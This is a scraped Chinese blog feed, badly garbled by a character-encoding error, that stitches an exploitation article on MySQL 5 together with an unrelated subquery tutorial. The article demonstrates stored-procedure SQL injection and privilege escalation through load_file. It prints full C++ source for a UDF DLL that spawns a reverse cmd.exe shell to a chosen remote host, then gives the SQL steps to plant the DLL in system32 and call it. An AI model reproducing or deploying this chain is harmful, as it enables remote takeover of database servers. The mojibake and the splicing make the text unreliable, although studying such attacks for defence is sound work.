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濡傛灉闇瑕佽嫳鏂囩殑璇峰埌MySQL鐭ヨ瘑搴撲腑涓嬭澆銆?img src ="http://www.tkk7.com/chenpengyi/aggbug/77933.html" width = "1" height = "1" />
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Author錛歋uperHei_[At]_ph4nt0m.org
Blog錛?/FONT>http://superhei.blogbus.com/
Team錛?/FONT>http://www.ph4nt0m.org
Data: 2006-01-29
Mysql5澧炲姞寰堝鏂扮殑鍔熻兘錛屽紑濮嬫敮鎸侊細瀛樺偍榪囩▼銆佽Е鍙戝櫒銆佽鍥俱佷俊鎭灦鏋勮鍥劇瓑鏂扮壒銆傚彲浠ヨ榪欎簺閮芥槸鍙戝睍鐨勫繀鐒訛紝浣嗘槸鏂扮殑涓滆タ鐨勫嚭鏉ワ紝蹇呭畾涔熶細甯︽潵鏂扮殑瀹夊叏闂錛屽Mysql4寮濮嬫敮鎸乽nion鏌ヨ銆佸瓙鏌ヨ銆傝繖鐩存帴瀵艱嚧mysql娉ㄥ皠鏇村鏄撱佸箍娉涖俶ysql5鐨勬柊鍔熻兘浼氱粰瀹夊叏甯︽潵浠涔堟柊鐨勪笢瑗垮憿錛熶笅闈㈡垜緇欏ぇ瀹朵粙緇嶄笅mysql5鍦ㄥ畨鍏ㄦ柟闈㈢殑鐗圭偣錛?BR>
涓銆乸assword authentication
mysql5鐨刾assword()鍜宮ysql4.1涓鏍鳳紝閲囩敤鐨勫熀浜嶴HA1鐨?1浣峢ash錛?BR>
mysql> select password('mypass');
+-------------------------------------------+
| password('mypass') |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)
鍦╩ysql4.1浠ュ墠鐨刾assword hashes鏄熀浜?6浣峬d5錛?BR>
mysql> SELECT PASSWORD('mypass');
+--------------------+
| PASSWORD('mypass') |
+--------------------+
| 6f8c114b58f2ce9e |
+--------------------+
褰撲嬌鐢ㄤ綆鐗堟湰鐨凜lient榪炴帴鏃訛紝鍥炲嚭鐜伴敊璇細Client does not support authentication protocol錛屼負浜嗚В鍐寵繖涓棶棰橈紝mysql5鎻愪緵浜嗕竴涓猳ld_password(),灝辯浉褰撲簬mysql4.1浠ュ墠鐨勭殑password():
mysql> select old_password('mypass');
+------------------------+
| old_password('mypass') |
+------------------------+
| 6f8c114b58f2ce9e |
+------------------------+
1 row in set (0.09 sec)
浜屻佹暟鎹瓧鍏?information_schema)
鍜宮ssql銆乷racle銆乨b2絳夋暟鎹簱涓鏍鳳紝mysql5鎻愪緵浜嗕竴涓郴緇熸暟鎹簱錛歩nformation_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+---------------------------------------+
16 rows in set (0.17 sec)
鍦ㄨ繖涓暟鎹簱閲屾垜浠彲浠ュ緱鍒板緢澶氫俊鎭紝鍖呮嫭褰撳墠鐢ㄦ埛鏉冮檺錛?BR>mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| 'KK1'@'%' | NULL | USAGE | NO |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)
褰撳墠鐢ㄦ埛鏉冮檺涓嬪彲浠ヨ闂殑鏁版嵁搴擄紝琛紝鍒楀悕錛堣繖涓湪sql娉ㄥ皠涓紝瀵艱嚧鐩存帴鏆村尯鏁版嵁搴擄紝琛ㄥ垪鍚嶏紝鍐嶄篃涓嶈鈥樻毚鍔涒欏挴錛夛細
mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in | article | articleid |
| in | user | userid |
+--------------+------------+-------------+
2 rows in set (0.02 sec)
榪樺彲浠ュ緱鍒板綋鍓嶇敤鎴鋒潈闄愪笅鐨刅IEWS錛孯OUTINES絳夛紝鍏充簬ROUTINES鎴戜滑鍦ㄤ笅闈㈢殑鈥樺瓨鍌ㄨ繃紼嬧欓噷璇︾粏浠嬬粛銆?BR>
[ps:娉ㄦ剰鏄樺綋鍓嶇敤鎴鋒潈闄愨欏鏋滄槸root錛岄偅涔堝お鍙互寰楀埌鎵鏈夌殑鏁版嵁搴撳悕縐頒互鍙婅〃鍒楀悕絳夌瓑]
涓夈佸瓨鍌ㄨ繃紼?Stored Procedures)
'瀛樺偍榪囩▼'鐨勪嬌鐢ㄦ槸mysql5鐨勪竴涓棯鍏夌偣錛屽湪甯︽潵鏂逛究鐨勫悓鏃訛紝瀹冧篃甯︽潵浜嗘柊鐨勫畨鍏ㄩ殣鎮o細濡俿ql娉ㄥ皠錛岀敤鎴鋒潈闄愭彁鍗囩瓑絳夈?BR>
D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)
mysql> delimiter ;
mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
涓婇潰鎴戜滑浣跨敤root鍦ㄦ暟鎹簱in閲屽垱寤轟簡涓涓悕涓簍est鐨勫瓨鍌ㄨ繃紼嬨?BR>
a銆丼QL Injection
mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call test(1 and 1=2);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
b銆佽法鏉冮檺
瀛樺偍榪囩▼鏄戶鎵垮垱寤鴻呯殑鏉冮檺鐨勶紝濡傛灉瀛樺偍榪囩▼鏄痳oot鍒涘緩鐨勶紝褰撳叾浠栨櫘閫氱敤鎴蜂嬌鐢ㄨ繖涓瓨鍌ㄨ繃紼嬫椂錛屽鑷磋法鏉冮檺鏀誨嚮錛?BR>
mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO 'KK1'@'%'
-> IDENTIFIED BY 'OBSCURE';
Query OK, 0 rows affected (0.03 sec)
涓婇潰寤虹珛涓涓狵K1鐨勭敤鎴峰彧鍦ㄦ暟鎹簱in涓湁SELECT, INSERT, UPDATE, DELETE, EXECUTE鏉冮檺錛屼嬌鐢↘K1鐧婚檰錛?BR>D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)
鎴戜滑鍙互寰楀埌KK1鍙互浣跨敤瀛樺偍榪囩▼in.test 鍏跺垱寤鴻呬負root@localhost銆備笉榪嘖K1娌℃湁鏉冮檺寰楀埌ROUTINE_DEFINITION 灝辨槸in.test鐨勪唬鐮併備笅闈㈢湅鐪嬭法鏉冮檺錛?BR>
mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
娌℃湁file鏉冮檺鐨凨K1鍙互浣跨敤in.test浣跨敤load_file()錛屾垜浠繕鍙互鐩存帴瀵筸ysql.user榪涜select錛屽鏋滃瓨鍌ㄨ繃紼嬪彲浠pdata錛宨nsert娉ㄥ皠錛岄偅涔堟垜浠彲浠ユ櫘閫氱敤鎴風洿鎺ラ氳繃娉ㄥ皠鏉ヤ慨鏀筸ysql.user閲岀殑鏁版嵁銆?BR>
鍥涖乁ser-Defined Function
[ps錛氫笅闈㈤兘鏄熀浜巜in緋葷粺]
mysql5鐨剈df鍦ㄦ牸寮忓拰瀹夊叏鏂歸潰鍋氫竴浜涙柊鐨勬敼鍙橈細
1銆佹牸寮忚姹傛洿鍔犱弗鏍糩xxx_init()鍒濆鍖栧嚱鏁癩
瀵逛簬娌℃湁xxx_init()鍒濆鍖栧嚱鏁?鍦ㄤ互鍓嶇殑鐗堟湰鏄彲浠ヤ嬌鐢ㄧ殑錛屼絾鏄湪mysql5涓嬩細鍑虹幇Can't find function 'xxx_init' in library鐨勯敊璇紝濡傦細
mysql> create function ExitProcess returns integer soname 'kernel32';
ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library
涓嬮潰緇欏嚭鐨勪唬鐮佹槸濂藉弸浜戣垝鍐欑殑錛岀鍚坢ysql5鐨剈df鏍煎紡瑕佹眰鍙互鍦╩ysql5涓嬩嬌鐢細
/*******************************************************************************
* File: MySQL_Shell.cpp
* Author: 浜戣垝(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#define MAKE_DLL /* Build dll here */
#include "MySQL_Shell.h"
#pragma comment( lib, "ws2_32" )
#define BUFFER_SIZE 1024
///////////////////////////////////////////////////////////////////////////////
//鍑芥暟鍘熷瀷
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *, char * );
void LogMsg( char * );
///////////////////////////////////////////////////////////////////////////////
//MySQL妯″潡鍒濆鍖栧嚱鏁?
///////////////////////////////////////////////////////////////////////////////
LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, "Shell() requires two arguments" );
return 1;
}
if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, "Shell() requires two string arguent" );
return 1;
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//MySQL妯″潡涓誨姛鑳藉嚱鏁幫紝鍙嶅悜榪炴帴鎻愪緵shell
///////////////////////////////////////////////////////////////////////////////
LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;
// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, "Create socket error" );
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );
//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, "Connect error" );
return -1;
}
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION processInfo;
char cmdLine[] = "cmd.exe";
ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;
while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}
if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
if( bytesRead <= 0 ) break;
if( StartWith( buff , "exit" ) == TRUE ) break;
ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}
TerminateProcess( processInfo.hProcess, 0 );
CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );
closesocket( sock );
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//鍒ゆ柇瀛楃涓叉槸鍚︿互鍙︿竴涓瓧絎︿覆寮澶?
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}
///////////////////////////////////////////////////////////////////////////////
//璁板綍鏃ュ織淇℃伅錛岃皟璇曠敤
///////////////////////////////////////////////////////////////////////////////
void LogMsg( char *msg )
{
FILE *fp;
fp = fopen( "C:\mysql.txt", "a+" );
fputs( msg, fp );
fclose( fp );
}
/*******************************************************************************
* File: MySQL_Shell.h
* Author: 浜戣垝(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#ifdef MAKE_DLL
#define LIB extern "C" __declspec(dllexport)
#else
#define LIB extern "C" __declspec(dllimport)
#endif
#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */
typedef char my_bool;
enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );
LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );
2銆乵ysql5闄愬埗浜唘df瀵瑰簲鐨勬枃浠禿ll鏂囦歡鍙彲浠ユ斁鍦╯ystem32鐩綍涓嬨?BR>瀵逛簬涓鑸綆鏉冮檺鐨勭郴緇熺敤鎴鋒槸娌℃湁瀵箂ystem32鐩綍鍐欐潈闄愮殑錛屽湪榪欐牱鐨勬儏鍐典笅鎴戜滑鍙互浣跨敤into dumpfile鎶奷ll鏂囦歡鏀懼埌system32鏉ョ獊鐮達紝鍏蜂綋濡備笅錛?BR>mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)
mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)
浜斻佸弬鑰?BR>銆奙ySQL 5.0 Reference Manual銆?http://dev.mysql.com/doc/refman/5.0/en/
銆奌ackproofing MySQL銆?nbsp; http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
銆婄粰mysql鍔犱釜鑷畾涔夊嚱鏁幫紙windows騫沖彴錛夈?/FONT>http://www.icylife.net/yunshu/show.php?id=244
鍏佹劅璋?BR>鎰熻阿浜戣垝銆乀omyChen銆丮ix ...鎵鏈塸st鐨勫厔寮熶滑銆?BR>
璋㈣阿闃呰!
]]>
1. SELECT璇彞鐨勫瓙鏌ヨ:
璇硶: SELECT ... FROM (subquery) AS name ...
鍏堝垱寤轟竴涓〃:
CREATE TABLE t1 (s1 INT, s2 CHAR(5), s3 FLOAT);
INSERT INTO t1 VALUES (1,'1',1.0);
INSERT INTO t1 VALUES (2,'2',2.0);
鎴戜滑灝卞彲浠ヨ繘琛屼互涓嬬殑宓屽鏌ヨ浜?
SELECT sb1,sb2,sb3
FROM (SELECT s1 AS sb1, s2 AS sb2, s3*2 AS sb3 FROM t1) AS sb
WHERE sb1 > 1;
緇撴灉鏄細 2, '2', 4.0
.
鎴戜滑鐭ラ亾涓嬮潰璇彞鏄笉浼氬緱鍒版紜粨鏋滅殑錛屽洜涓哄緇忚繃Group by鎺掑簭鐨勯泦鍚堣繘琛屾眰鍧囧兼槸涓嶈兘寰楀埌姝g‘絳旀鐨勶細
SELECT AVG(SUM(column1)) FROM t1 GROUP BY column1
鎵浠ユ垜浠彲浠ラ氳繃涓嬮潰鐨勫祵濂楁煡璇㈠疄鐜板悓鏍風殑鏁堟灉錛?BR>SELECT AVG(sum_column1)
FROM (SELECT SUM(column1) AS sum_column1
FROM t1 GROUP BY column1) AS t1;
2.琛岀殑瀛愭煡璇紙Row Subquery錛夛細
鐪嬩笅闈㈢殑渚嬪瓙錛?BR>SELECT * FROM t1 WHERE ROW(1,2) = (SELECT column1, column2 FROM t2);
榪欎釜鏌ヨ鏄繑鍥瀋olumn1絳変簬column2鐨勭粨鏋滆銆俁ow鍑芥暟涓殑1鍜?鐩稿綋浜庢瀯閫犲弬鏁般傛兂蹇匓logjava涓婄殑鍚屽織瀵硅繖浜涘簲璇ユ瘮杈冩竻妤氾紝涔熶笉鍘昏緇嗕粙緇嶄簡銆?BR>
3.浣跨敤Exist鍜孨ot Exist鍙傛暟
榪欓噷鐨凟xist鍜孨ot Exist鐢ㄩ斿強鐢ㄦ硶鍜屽湪鍏朵粬娌℃湁浠涔堝ぇ鐨勫尯鍒?鎴戝氨綆鍗曚婦鍑犱釜鑼冧緥濂戒簡:
鑼冧緥涓: SELECT DISTINCT store_type FROM Stores
WHERE EXISTS (SELECT * FROM Cities_Stores
WHERE Cities_Stores.store_type = Stores.store_type);
鑼冧緥浜? SELECT DISTINCT store_type FROM Stores
WHERE NOT EXISTS (SELECT * FROM Cities_Stores
WHERE Cities_Stores.store_type = Stores.store_type);
鑼冧緥涓? 榪欎釜渚嬪瓙涓祵濂椾嬌鐢ㄤ簡Not Exist璇硶錛岀◢寰敞鎰忎竴涓嬶細
SELECT DISTINCT store_type FROM Stores S1
WHERE NOT EXISTS (
SELECT * FROM Cities WHERE NOT EXISTS (
SELECT * FROM Cities_Stores
WHERE Cities_Stores.city = Cities.city
AND Cities_Stores.store_type = Stores.store_type));
4.鏉′歡鍏寵仈鍏崇郴鏌ヨ錛?BR>瑙i噴璧鋒潵楹葷儲錛岀洿鎺ョ湅渚嬪瓙鍚э細
SELECT column1 FROM t1 AS x
WHERE x.column1 = (SELECT column1 FROM t2 AS x
WHERE x.column1 = (SELECT column1 FROM t3
WHERE x.column2 = t3.column1));
璺熷叾浠栨暟鎹簱鍋氭硶鏄竴鏍風殑銆?BR>
5.鍏朵粬浣跨敤鏂規硶鍜屾敞鎰忥細
闄や簡涓婇潰榪欎簺榪樻湁寰堝寰堝錛屼笉榪囧氨涓嶅幓緇嗚浜嗭紝鍥犱負榪欎簺璺熷埆鐨勬暟鎹簱宸笉澶氾紝鍙槸涓轟簡緇欏ぇ瀹朵竴涓弬鑰冿紝鎻愭彁灝卞浜嗐?BR>
SELECT (SELECT s1 FROM t2) FROM t1;
SELECT (SELECT s2 FROM t1);
鏀寔瀛愭煡璇㈢殑璇硶鏈夛細SELECT錛孖NSERT錛孶PDATE錛孌ELETE錛孲ET鍜孌O銆?BR>
瀛愭煡璇㈠彲浠ヤ嬌鐢ㄤ換浣曟櫘閫氭煡璇腑浣跨敤鐨勫叧閿瘝錛氬DINSTINCT錛孏ROUP BY錛孡IMIT錛孫RDER BY錛孶NION錛孉LL錛孶NION ALL絳夈傚彲浠ヤ嬌鐢?lt;,>, <=, >=, =, <>榪愮畻絎﹁繘琛屾瘮杈冿紝涔熷彲浠ヤ嬌鐢ˋNY 錛孖N鍜孲OME榪涜闆嗗悎鐨勫尮閰嶃?BR>
杞澆璇鋒敞鏄庡嚭澶勶細闄堟湅濂?http://www.tkk7.com/chenpengyi
浠婂ぉ緇堜簬緲昏瘧瀹屽挴錛屽搱鍝堬紝涓嬮潰鏄摼鎺ワ紝甯屾湜鑳界粰鏈夐渶瑕佺殑浜哄府鍔╋紒
http://www.tkk7.com/Files/chenpengyi/MySQL-Triggers-Translation-CN.rar
濡傛灉闇瑕佸師鐗堢殑璇濓紝鍙互鍒頒笅闈㈠湴鍧涓嬭澆錛?BR>http://dev.mysql.com/tech-resources/articles/mysql-triggers.pdf